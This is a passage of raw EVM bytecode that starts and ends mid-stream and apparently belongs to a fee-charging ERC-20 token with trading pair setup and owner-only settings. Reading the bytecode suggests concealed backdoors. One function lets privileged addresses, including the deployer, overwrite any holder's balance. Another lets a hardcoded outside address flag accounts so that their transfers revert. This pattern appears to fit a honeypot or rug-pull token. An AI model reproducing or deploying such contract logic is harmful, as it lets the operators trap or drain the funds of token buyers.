ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073d040c0590184c061a7a3ffbb3e150b999e82e361600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d040c0590184c061a7a3ffbb3e150b999e82e361600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a546006600062000bef62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000c3d62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a5460405162000c9e919062000ef6565b60405180910390a350620012ae565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000cef919062000f24565b90508381101562000d37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d2e9062000ed4565b60405180910390fd5b8091505092915050565b600062000d548262000d5b60201b60201c565b9050919050565b6000819050919050565b82805462000d7390620011c5565b90600052602060002090601f01602090048101928262000d97576000855562000de3565b82601f1062000db257805160ff191683800117855562000de3565b8280016001018555821562000de3579182015b8281111562000de257825182559160200191906001019062000dc5565b5b50905062000df2919062000df6565b5090565b5b8082111562000e1157600081600090555060010162000df7565b5090565b60008151905062000e268162001294565b92915050565b60006020828403121562000e455762000e4462001259565b5b600062000e558482850162000e15565b91505092915050565b62000e69816200117a565b82525050565b600062000e7e601b8362000f13565b915062000e8b826200126b565b602082019050919050565b62000ea181620011ae565b82525050565b600060408201905062000ebe600083018562000e5e565b62000ecd602083018462000e5e565b9392505050565b6000602082019050818103600083015262000eef8162000e6f565b9050919050565b600060208201905062000f0d600083018462000e96565b92915050565b600082825260208201905092915050565b600062000f3182620011ae565b915062000f3e83620011ae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f765762000f75620011fb565b5b828201905092915050565b6000808291508390505b600185111562000fd35780860481111562000fab5762000faa620011fb565b5b600185161562000fbb5780820291505b808102905062000fcb856200125e565b945062000f8b565b94509492505050565b600062000fe982620011ae565b915062000ff683620011b8565b9250620010257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200102d565b905092915050565b6000826200103f576001905062001112565b816200104f576000905062001112565b81600181146200106857600281146200107357620010a9565b600191505062001112565b60ff841115620010885762001087620011fb565b5b8360020a915084821115620010a257620010a1620011fb565b5b5062001112565b5060208310610133831016604e8410600b8410161715620010e35782820a905083811115620010dd57620010dc620011fb565b5b62001112565b620010f2848484600162000f81565b925090508184048111156200110c576200110b620011fb565b5b81810290505b9392505050565b60006200112682620011ae565b91506200113383620011ae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200116f576200116e620011fb565b5b828202905092915050565b600062001187826200118e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620011de57607f821691505b60208210811415620011f557620011f46200122a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6200129f816200117a565b8114620012ab57600080fd5b50565b60805160601c614d1e620012d4600039600081816110f701526111230152614d1e6000f3fe6080604052600436106103905760003560e01c80638da5cb5b116101dc578063c816841b11610102578063dc44b6a0116100a0578063f1d5f5171161006f578063f1d5f51714610da9578063f2514e8814610dd2578063f2fde38b14610e0f578063f872858a14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f18cffe214610d7e57610397565b8063cab03471116100dc578063cab0347114610c43578063d469a20914610c6e578063da00097d14610c97578063dbf5ae5514610cc257610397565b8063c816841b14610bb0578063c860795214610bdb578063c867d60b14610c0657610397565b8063a457c2d71161017a578063c2d4640e11610149578063c2d4640e14610b08578063c469b6dd14610b31578063c49b9a8014610b5c578063c5d2418914610b8557610397565b8063a457c2d714610a3a578063a5d69d1f14610a77578063a83f53a714610aa0578063a9059cbb14610acb57610397565b80639e03d726116101b65780639e03d72614610990578063a073d37f146109bb578063a08e671f146109e6578063a2a6272214610a1157610397565b80638da5cb5b146108fd578063917c88b11461092857806395d89b411461096557610397565b80633ecad271116102c157806370a082311161025f57806382eefb431161022e57806382eefb431461082d57806388790a68146108585780638b42507f146108835780638d6332df146108c057610397565b806370a082311461077157806377f31d03146107ae5780637d1db4a5146107d7578063807c2d9c1461080257610397565b80635881f3ef1161029b5780635881f3ef146106b757806361a23c69146106f45780636249faf11461071f578063697be9ef1461074857610397565b80633ecad271146106245780634a74bb021461066157806357a5802f1461068c57610397565b806327c8f8351161032e578063313ce56711610308578063313ce5671461056a57806335d236151461059557806339509351146105be5780633b97084a146105fb57610397565b806327c8f835146104eb5780632b112e49146105165780632c4b23341461054157610397565b80631694505e1161036a5780631694505e1461042f57806318160ddd1461045a57806323b872dd146104855780632563ae83146104c257610397565b806306fdde031461039c578063095ea7b3146103c75780631245e3471461040457610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103b1610e63565b6040516103be9190614455565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190613f20565b610ef5565b6040516103fb919061441f565b60405180910390f35b34801561041057600080fd5b50610419610f13565b604051610426919061437a565b60405180910390f35b34801561043b57600080fd5b50610444610f39565b604051610451919061443a565b60405180910390f35b34801561046657600080fd5b5061046f610f5f565b60405161047c9190614577565b60405180910390f35b34801561049157600080fd5b506104ac60048036038101906104a79190613ecd565b610f69565b6040516104b9919061441f565b60405180910390f35b3480156104ce57600080fd5b506104e960048036038101906104e49190614020565b611043565b005b3480156104f757600080fd5b506105006110f5565b60405161050d919061435f565b60405180910390f35b34801561052257600080fd5b5061052b611119565b6040516105389190614577565b60405180910390f35b34801561054d57600080fd5b5061056860048036038101906105639190613e33565b61115d565b005b34801561057657600080fd5b5061057f611236565b60405161058c919061461c565b60405180910390f35b3480156105a157600080fd5b506105bc60048036038101906105b79190613e33565b61124d565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190613f20565b611326565b6040516105f2919061441f565b60405180910390f35b34801561060757600080fd5b50610622600480360381019061061d919061404d565b6113d9565b005b34801561063057600080fd5b5061064b60048036038101906106469190613e33565b611478565b604051610658919061441f565b60405180910390f35b34801561066d57600080fd5b50610676611498565b604051610683919061441f565b60405180910390f35b34801561069857600080fd5b506106a16114ab565b6040516106ae9190614577565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190613e33565b6114b1565b6040516106eb919061435f565b60405180910390f35b34801561070057600080fd5b50610709611a0f565b6040516107169190614577565b60405180910390f35b34801561072b57600080fd5b5061074660048036038101906107419190613f60565b611a15565b005b34801561075457600080fd5b5061076f600480360381019061076a9190613fc0565b611b4f565b005b34801561077d57600080fd5b5061079860048036038101906107939190613e33565b611cc3565b6040516107a59190614577565b60405180910390f35b3480156107ba57600080fd5b506107d560048036038101906107d09190613f60565b611d0c565b005b3480156107e357600080fd5b506107ec611e46565b6040516107f99190614577565b60405180910390f35b34801561080e57600080fd5b50610817611e4c565b6040516108249190614577565b60405180910390f35b34801561083957600080fd5b50610842611e52565b60405161084f9190614577565b60405180910390f35b34801561086457600080fd5b5061086d611e58565b60405161087a9190614577565b60405180910390f35b34801561088f57600080fd5b506108aa60048036038101906108a59190613e33565b611e5e565b6040516108b7919061441f565b60405180910390f35b3480156108cc57600080fd5b506108e760048036038101906108e29190613e33565b611e7e565b6040516108f4919061441f565b60405180910390f35b34801561090957600080fd5b50610912611e9e565b60405161091f919061435f565b60405180910390f35b34801561093457600080fd5b5061094f600480360381019061094a9190613e33565b611ec7565b60405161095c919061441f565b60405180910390f35b34801561097157600080fd5b5061097a611ee7565b6040516109879190614455565b60405180910390f35b34801561099c57600080fd5b506109a5611f79565b6040516109b2919061437a565b60405180910390f35b3480156109c757600080fd5b506109d0611f9f565b6040516109dd9190614577565b60405180910390f35b3480156109f257600080fd5b506109fb611fa9565b604051610a089190614577565b60405180910390f35b348015610a1d57600080fd5b50610a386004803603810190610a33919061407a565b611faf565b005b348015610a4657600080fd5b50610a616004803603810190610a5c9190613f20565b61208f565b604051610a6e919061441f565b60405180910390f35b348015610a8357600080fd5b50610a9e6004803603810190610a999190614020565b61215c565b005b348015610aac57600080fd5b50610ab561220e565b604051610ac29190614577565b60405180910390f35b348015610ad757600080fd5b50610af26004803603810190610aed9190613f20565b612214565b604051610aff919061441f565b60405180910390f35b348015610b1457600080fd5b50610b2f6004803603810190610b2a919061407a565b612233565b005b348015610b3d57600080fd5b50610b46612313565b604051610b539190614577565b60405180910390f35b348015610b6857600080fd5b50610b836004803603810190610b7e9190614020565b612319565b005b348015610b9157600080fd5b50610b9a612402565b604051610ba79190614577565b60405180910390f35b348015610bbc57600080fd5b50610bc5612408565b604051610bd2919061435f565b60405180910390f35b348015610be757600080fd5b50610bf061242e565b604051610bfd9190614577565b60405180910390f35b348015610c1257600080fd5b50610c2d6004803603810190610c289190613e33565b612434565b604051610c3a919061441f565b60405180910390f35b348015610c4f57600080fd5b50610c58612454565b604051610c659190614577565b60405180910390f35b348015610c7a57600080fd5b50610c956004803603810190610c90919061407a565b61245a565b005b348015610ca357600080fd5b50610cac61253a565b604051610cb9919061441f565b60405180910390f35b348015610cce57600080fd5b50610ce96004803603810190610ce49190613f20565b61254d565b005b348015610cf757600080fd5b50610d006125e8565b604051610d0d9190614577565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613e8d565b6125ee565b604051610d4a9190614577565b60405180910390f35b348015610d5f57600080fd5b50610d68612675565b604051610d759190614577565b60405180910390f35b348015610d8a57600080fd5b50610d9361267b565b604051610da09190614577565b60405180910390f35b348015610db557600080fd5b50610dd06004803603810190610dcb919061404d565b612681565b005b348015610dde57600080fd5b50610df96004803603810190610df49190613e33565b612720565b604051610e06919061441f565b60405180910390f35b348015610e1b57600080fd5b50610e366004803603810190610e319190613e33565b612740565b005b348015610e4457600080fd5b50610e4d612892565b604051610e5a919061441f565b60405180910390f35b606060028054610e7290614883565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9e90614883565b8015610eeb5780601f10610ec057610100808354040283529160200191610eeb565b820191906000526020600020905b815481529060010190602001808311610ece57829003601f168201915b5050505050905090565b6000610f09610f02612903565b848461290b565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b6000610f76848484612ad6565b5061103884610f83612903565b61103385604051806060016040528060288152602001614c9c60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fe9612903565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130939092919063ffffffff16565b61290b565b600190509392505050565b61104b612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cf90614517565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006111586111477f0000000000000000000000000000000000000000000000000000000000000000611cc3565b601a546130f790919063ffffffff16565b905090565b611165612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990614517565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b611255612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d990614517565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006113cf611333612903565b846113ca8560076000611344612903565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b61290b565b6001905092915050565b6113e1612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146590614517565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b601f60159054906101000a900460ff1681565b60145481565b60006114bb612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153f90614517565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561159357600080fd5b505afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb9190613e60565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561162d57600080fd5b505afa158015611641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116659190613e60565b6040518363ffffffff1660e01b8152600401611682929190614395565b60206040518083038186803b15801561169a57600080fd5b505afa1580156116ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d29190613e60565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611893578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561174f57600080fd5b505afa158015611763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117879190613e60565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117e957600080fd5b505afa1580156117fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118219190613e60565b6040518363ffffffff1660e01b815260040161183e929190614395565b602060405180830381600087803b15801561185857600080fd5b505af115801561186c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118909190613e60565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611a1d612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190614517565b60405180910390fd5b60005b83839050811015611b49578160096000868685818110611ad057611acf61498b565b5b9050602002016020810190611ae59190613e33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611b41906148b5565b915050611aad565b50505050565b611b7b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633613141565b15611cbe5760005b83839050811015611cbc5760018260ff161415611c1e576001600d6000868685818110611bb357611bb261498b565b5b9050602002016020810190611bc89190613e33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611cab565b60008260ff161415611caa576000600d6000868685818110611c4357611c4261498b565b5b9050602002016020810190611c589190613e33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b80611cb5906148b5565b9050611b83565b505b505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611d14612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9890614517565b60405180910390fd5b60005b83839050811015611e40578160086000868685818110611dc757611dc661498b565b5b9050602002016020810190611ddc9190613e33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e38906148b5565b915050611da4565b50505050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b600c6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d6020528060005260406000206000915054906101000a900460ff1681565b606060038054611ef690614883565b80601f0160208091040260200160405190810160405280929190818152602001828054611f2290614883565b8015611f6f5780601f10611f4457610100808354040283529160200191611f6f565b820191906000526020600020905b815481529060010190602001808311611f5257829003601f168201915b5050505050905090565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601d54905090565b60195481565b611fb7612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203b90614517565b60405180910390fd5b8260118190555081601281905550806013819055506120846013546120766012546011546128a590919063ffffffff16565b6128a590919063ffffffff16565b601881905550505050565b600061215261209c612903565b8461214d85604051806060016040528060258152602001614cc460259139600760006120c6612903565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130939092919063ffffffff16565b61290b565b6001905092915050565b612164612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e890614517565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b6000612228612221612903565b8484612ad6565b506001905092915050565b61223b612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bf90614517565b60405180910390fd5b8260148190555081601581905550806016819055506123086016546122fa6015546014546128a590919063ffffffff16565b6128a590919063ffffffff16565b601981905550505050565b60105481565b612321612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a590614517565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516123f7919061441f565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b612462612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e690614517565b60405180910390fd5b82600e8190555081600f819055508060108190555061252f601054612521600f54600e546128a590919063ffffffff16565b6128a590919063ffffffff16565b601781905550505050565b601f60169054906101000a900460ff1681565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156125e45780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60175481565b60015481565b612689612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270d90614517565b60405180910390fd5b80601c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b612748612903565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127cc90614517565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b60008082846128b4919061468c565b9050838110156128f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f0906144b7565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561297b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161297290614557565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e290614497565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612ac99190614577565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3e90614537565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bae90614477565b60405180910390fd5b601f60149054906101000a900460ff1615612bde57612bd784848461317a565b905061308c565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c825750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ccd57601b54821115612ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc3906144d7565b60405180910390fd5b5b6000612cd830611cc3565b90506000601d548210159050808015612cfe5750601f60149054906101000a900460ff16155b8015612d545750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d6c5750601f60159054906101000a900460ff165b15612d9657601f60169054906101000a900460ff1615612d8c57601d5491505b612d958261334d565b5b612d9f8661353e565b15612e3a57612df684600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f790919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612edd5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ef157612eec878787613581565b612ef3565b845b9050601f60179054906101000a900460ff168015612f5b5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f8a57601c54612f7e82612f7089611cc3565b6128a590919063ffffffff16565b1115612f8957600080fd5b5b612fdc81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161307c9190614577565b60405180910390a3600193505050505b9392505050565b60008383111582906130db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d29190614455565b60405180910390fd5b50600083856130ea919061476d565b9050809150509392505050565b600061313983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613093565b905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b6000613205826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130939092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329a82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161333a9190614577565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff02191690831515021790555060006133a6600261339860195461338a6014548761385190919063ffffffff16565b6138cc90919063ffffffff16565b6138cc90919063ffffffff16565b905060006133bd82846130f790919063ffffffff16565b90506133c881613916565b600047905060006133f96133e860026014546138cc90919063ffffffff16565b6019546130f790919063ffffffff16565b9050600061343760026134298461341b6014548861385190919063ffffffff16565b6138cc90919063ffffffff16565b6138cc90919063ffffffff16565b90506000613462836134546016548761385190919063ffffffff16565b6138cc90919063ffffffff16565b9050600061348b8261347d85886130f790919063ffffffff16565b6130f790919063ffffffff16565b905060008111156134c3576134c2600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613ba1565b5b60008211156134f9576134f8600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613ba1565b5b6000831180156135095750600087115b15613519576135188784613bec565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff16613562600154613ce0565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661363157600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561363057600080fd5b5b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136b2576136ab606461369d6017548661385190919063ffffffff16565b6138cc90919063ffffffff16565b9050613730565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561372f5761372c606461371e6018548661385190919063ffffffff16565b6138cc90919063ffffffff16565b90505b5b60008111156138345761378b81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a590919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fd